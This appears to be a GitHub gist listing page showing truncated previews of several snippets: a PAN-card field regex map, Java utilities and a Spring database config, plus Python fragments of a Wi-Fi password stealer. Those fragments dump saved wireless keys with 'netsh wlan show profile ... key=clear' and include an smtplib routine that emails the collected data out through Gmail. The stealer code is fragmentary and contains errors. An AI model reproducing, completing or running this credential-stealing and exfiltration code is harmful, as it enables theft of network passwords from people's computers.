const PAN_REGEX = {
'govt' : /GOVT|INDIA/,
'income_tax' : /INCOME|TAX/,
'fathers_name_heading' : /Father/,
'dob_heading' : /Date|Birth/,
'date_format': /(\d{2}\/\d{2}\/\d{4})/,
'number_heading' : /Permanent|Account|Number/,
'number_format': /[A-Z0-9]{10,}/,
'words_format': /^[A-Z]+[A-Z\s.]+$/
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public class VeracodeUtil { | |
| public static Object secureArguments(Object arg) { | |
| if (arg instanceof String value && StringUtils.hasText(value)) { | |
| return value.replace('\n', '_').replace('\r', '_'); | |
| } | |
| return arg; | |
| } | |
| public static Object[] secureArguments(Object arg1, Object arg2) { | |
| Object[] args = new Object[2]; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| @Configuration | |
| @EntityScan | |
| public class DatabaseConfig { | |
| @Bean | |
| @ConfigurationProperties(prefix = "db.master") | |
| public DataSource readWriteConfiguration() { | |
| return DataSourceBuilder.create().build(); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| @UtilityClass | |
| public class NullChecker { | |
| public static String trimValue(String value) { | |
| return executeNullBasedExecutor(value, String::trim); | |
| } | |
| public static <I> void executeNonNullMutator(I value, Function<I> mutator) { | |
| if(value !=null) { | |
| mutator.accept(value); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class Maain{ | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import re | |
| import smtplib | |
| import subprocess | |
| import time | |
| num1 = 2 | |
| num2 = 4 | |
| for i in range(120): | |
| num2 = num1 * num2 | |
| time.sleep(1) | |
| while num2>num1: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import re | |
| import smtplib | |
| import subprocess | |
| import time | |
| num1 = 2 | |
| num2 = 4 | |
| for i in range(120): | |
| num2 = num1 * num2 | |
| time.sleep(1) | |
| while num2>num1: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import smtplib, subprocess | |
| def send_mail(sender_mail, receiver_mail, password, message): | |
| main = smtplib.SMTP("smtp.gmail.com", 587) | |
| main.starttls() | |
| main.login(sender_mail, password) | |
| main.sendmail(sender_mail, receiver_mail, message) | |
| main.quit() | |
| list_out_networks_command = "netsh wlan show profile" | |
| save_netowork_list_result = subprocess.checkoutput(list_out_networks_command) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import subprocess | |
| information ="" | |
| for network_ssid in network_ssids: | |
| network_key_command = "netsh wlan show profile \"" + network_ssid + "\" key=clear" | |
| network_result = subprocess.check_output(network_key_command, shell=True) | |
| information = information + "\n" + str(network_result) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| list_out_networks_command = "netsh wlan show profile" | |
| save_netowork_list_result = subprocess.checkoutput(list_out_networks_command) | |
| #Extract the network name from the result | |
| networks_result =str(save_netowork_list_result).split("\\r\\n") | |
| network_ssids=[] | |
| for network in network_result: | |
| if "All User Profile" in network: | |
| network_ssid = re.findall("(?:Profile\s*:\s)(.*)", network)[0] | |
| network_ssids.append(network_ssid) |
NewerOlder